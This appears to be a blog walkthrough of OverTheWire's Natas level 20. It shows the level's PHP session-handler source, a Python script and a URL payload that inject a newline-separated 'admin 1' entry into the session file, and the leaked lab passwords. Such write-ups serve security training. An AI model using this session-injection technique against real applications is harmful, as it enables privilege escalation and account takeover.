Natas Level 20 → Level 21

As soon as you login to the level, you are greeted with a message saying that “You are logged in as a regular user. Login as an admin to retrieve credentials for natas21”. Looking at the sourcecode, we see a lots of stuffs.

<? 
function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas21\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; 
    } 
} 
/* }}} */ 

/* we don't need this */ 
function myopen($path, $name) {  
    //debug("MYOPEN $path $name");  
    return true;  
} 

/* we don't need this */ 
function myclose() {  
    //debug("MYCLOSE");  
    return true;  
} 

function myread($sid) {  
    debug("MYREAD $sid");  
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return ""; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    if(!file_exists($filename)) { 
        debug("Session file doesn't exist"); 
        return ""; 
    } 
    debug("Reading from ". $filename); 
    $data = file_get_contents($filename); 
    $_SESSION = array(); 
    foreach(explode("\n", $data) as $line) { 
        debug("Read [$line]"); 
    $parts = explode(" ", $line, 2); 
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; 
    } 
    return session_encode(); 
} 

function mywrite($sid, $data) {  
    // $data contains the serialized version of $_SESSION 
    // but our encoding is better 
    debug("MYWRITE $sid $data");  
    // make sure the sid is alnum only!! 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    $data = ""; 
    debug("Saving in ". $filename); 
    ksort($_SESSION); 
    foreach($_SESSION as $key => $value) { 
        debug("$key => $value"); 
        $data .= "$key $value\n"; 
    } 
    file_put_contents($filename, $data); 
    chmod($filename, 0600); 
} 

/* we don't need this */ 
function mydestroy($sid) { 
    //debug("MYDESTROY $sid");  
    return true;  
} 
/* we don't need this */ 
function mygarbage($t) {  
    //debug("MYGARBAGE $t");  
    return true;  
} 

session_set_save_handler( 
    "myopen",  
    "myclose",  
    "myread",  
    "mywrite",  
    "mydestroy",  
    "mygarbage"); 
session_start(); 

if(array_key_exists("name", $_REQUEST)) { 
    $_SESSION["name"] = $_REQUEST["name"]; 
    debug("Name set to " . $_REQUEST["name"]); 
} 

print_credentials(); 

$name = ""; 
if(array_key_exists("name", $_SESSION)) { 
    $name = $_SESSION["name"]; 
} 
?>

Let’s look at each function and see what it does:

  • debug($msg) just turn on debug. You can try it by adding “/index.php?debug” at the end of the url and hit enter to see the debug messages, $msg.
  • print_credentials()  will print natas21 username and password if the following conditionals are satisfied:
    • $_SESSION is true if there is an existing session. The array $_SESSION is not empty.
    • array_key_exists(“admin”, $_SESSION) is true if “admin” key is set in $_SESSION.
    • $_SESSION[“admin”] == 1 is true if the value associated with the key “admin” in $_SESSION is set to 1
  • myopen($path, $name) always return true.
  • myclose() always return true.
  • myread($sid) has several parts
    • The first if(strspn….) statement check if the $sid contains characters that is within the long string of characters. If it is not, return “Invalid SID”. Otherwise, continue.
    • Then, it check to see if the path exist for the file call /mysess_$sid. For example, if $sid is abcdefg, it is checking for the file mysess_abcdefg. If the file exist, continue.
    • Here, we see that the content of the file is save in $data and the foreach loop take each new line of $data and put it in $line. Then, it takes each space separated word in each $line and put them in an array call $parts. If the first part ($parts[0]) is not an empty string, then it will use the first part as the session key and the second part ($parts[1]) as the value corresponding to that key.
  • mywrite($sid, $data) also has several parts
    • The first if(strspn …) does the same check for valid $sid in myread()
    • The same $filename is created using the $sid.
    • The key is sorted in $_SESSION and the foreach loop take the pair of $key and corresponding $value and add it as a new line in $data. The $data is then write to the $filename.
  • mydestroy($sid) always return true.
  • mygarbage($t) always return true.
  • main interface does the following:
    • session_start().
    • check name is in the $_REQUEST, if so, set the $_SESSION[“name”] to $_REQUEST[“name”]. If we input “test” as a name, it will correspond “test” as the
    • print_credentials()
    • set $name to empty string and check if “name” is in the $_SESSION, if so, set the variable $name to $_SESSION[“name”]

So this seem to be a long explanation of the code but the most important part is the myread() and mywrite(). Especially in mywrite(), it is writing each $key and $value pair with a new line. We know from print_credentials(), we need a $key and $value pair of “admin” and 1 to get access to the next password. If we add a line “admin 1” in the file, the myread() function will read it out with no problem. So our input must be include “admin 1” on a newline. For example, if we put “test” and hit enter. We get a line like below in the file.

test

What we need is two lines like this.

test
admin 1

So by enter “test” plus newline plus “admin 1”, we should be able to get the password. We can code this in python as following:

#!/bin/python3
import requests

user = "natas20"
passwd = "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF" 
url = "http://"+user+".natas.labs.overthewire.org"
hack = dict(name="test\nadmin 1")

session = requests.Session()
session.post(url, auth=(user, passwd), data=hack)

httpreq = session.get(url, auth=(user, passwd))

print (httpreq.content)

From the printout of the contents, we found the next password.

IFekPyrQXftziDEsUr3x21sYuahypdgJ

We can also bypass using python and input this straight into the url as follow.

http://natas20.natas.labs.overthewire.org/index.php?debug&name=test%0Aadmin%201

Additional resources:

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s